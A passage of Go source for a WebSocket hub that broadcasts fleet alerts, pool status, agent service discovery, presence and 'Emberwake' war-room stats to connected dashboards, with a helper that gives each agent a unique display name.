		if subnetLabelMatches(cached.Local.Subnet, subnet) {
			add(cached.Local.Services)
		}
		for _, host := range cached.LANHosts {
			if subnetLabelMatches(host.Subnet, subnet) {
				add(host.Services)
			}
		}
	}

	if agentID != "" {
		if cached, ok := h.agentServiceDiscover[agentID]; ok {
			collect(cached)
		}
		return out
	}
	for _, cached := range h.agentServiceDiscover {
		collect(cached)
	}
	return out
}

func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
	h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
}

func (h *WSHub) BroadcastPoolStatus(status interface{}) {
	h.broadcastDashboard(Message{Type: "pool_status", Payload: mustMarshal(status)})
}

func (h *WSHub) BroadcastAIActivity(entry interface{}) {
	h.broadcastDashboard(Message{Type: "ai_activity", Payload: mustMarshal(entry)})
}

// agentDisplayName returns a display name that is unique per physical machine.
// Hostname is preferred because it's machine-specific — many agents deployed from
// the same binary would otherwise share the same baked-in worker name, making
// a large fleet impossible to differentiate.
func agentDisplayName(workerName, worker, hostname, agentID string) string {
	if hostname != "" {
		return hostname
	}
	// No hostname reported — make the worker name unique with a short agent ID suffix.
	base := workerName
	if base == "" {
		base = worker
	}
	if base == "" {
		base = "agent"
	}
	return base + "-" + shortAgentID(agentID)
}

func shortAgentID(id string) string {
	if len(id) >= 8 {
		return id[:8]
	}
	if id == "" {
		return "agent"
	}
	return id
}

// BroadcastServerLog streams a server log line to connected dashboards.
func (h *WSHub) BroadcastServerLog(line string) {
	line = strings.TrimSpace(line)
	if line == "" {
		return
	}
	h.broadcastDashboard(Message{
		Type:    "server_log",
		Payload: mustMarshal(map[string]string{"line": line}),
	})
}

// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
	h.broadcastDashboard(Message{
		Type:    "emberwake_notes_updated",
		Payload: mustMarshal(notes),
	})
}

// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
var warRoomBroadcastInterval = 30 * time.Second

// runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
func (h *WSHub) runWarRoomBroadcast() {
	if h.db == nil {
		return
	}
	ticker := time.NewTicker(warRoomBroadcastInterval)
	defer ticker.Stop()
	for range ticker.C {
		data, err := h.db.ListWarRoom(7)
		if err != nil {
			continue
		}
		h.broadcastDashboard(Message{
			Type:    "emberwake_war_room",
			Payload: mustMarshal(data),
		})
	}
}

type wsPresenceEntry struct {
	User   string `json:"user"`
	Page   string `json:"page"`
	Online bool   `json:"online"`
	Ts     int64  `json:"ts"`
}

func (h *WSHub) presenceSnapshotLocked() []wsPresenceEntry {
	byUser := make(map[string]wsPresenceEntry)
	for _, dc := range h.dashboards {
		if dc.Username == "" {
			continue
		}
		page := dc.Page
		if page == "" {
			page = "/dashboard"
		}
		byUser[dc.Username] = wsPresenceEntry{
			User:   dc.Username,
			Page:   page,
			Online: true,
			Ts:     time.Now().UnixMilli(),
		}
	}
	out := make([]wsPresenceEntry, 0, len(byUser))
	for _, e := range byUser {
		out = append(out, e)
	}
	return out
}

func (h *WSHub) broadcastPresenceUpdate(user, page string, online bool) {
	if user == "" {
		return
	}
	h.broadcastDashboard(Message{
		Type: "presence_update",
		Payload: mustMarshal(wsPresenceEntry{
			User:   user,
			Page:   page,
			Online: online,
			Ts:     time.Now().UnixMilli(),
		}),
	})
}

func (h *WSHub) broadcastNotesTyping(user string, active bool) {
	if user == "" {
		return
	}
	h.broadcastDashboard(Message{
		Type: "notes_typing",
		Payload: mustMarshal(map[string]interface{}{
			"user":   user,
			"active": active,
			"ts":     time.Now().UnixMilli(),
		}),
	})
}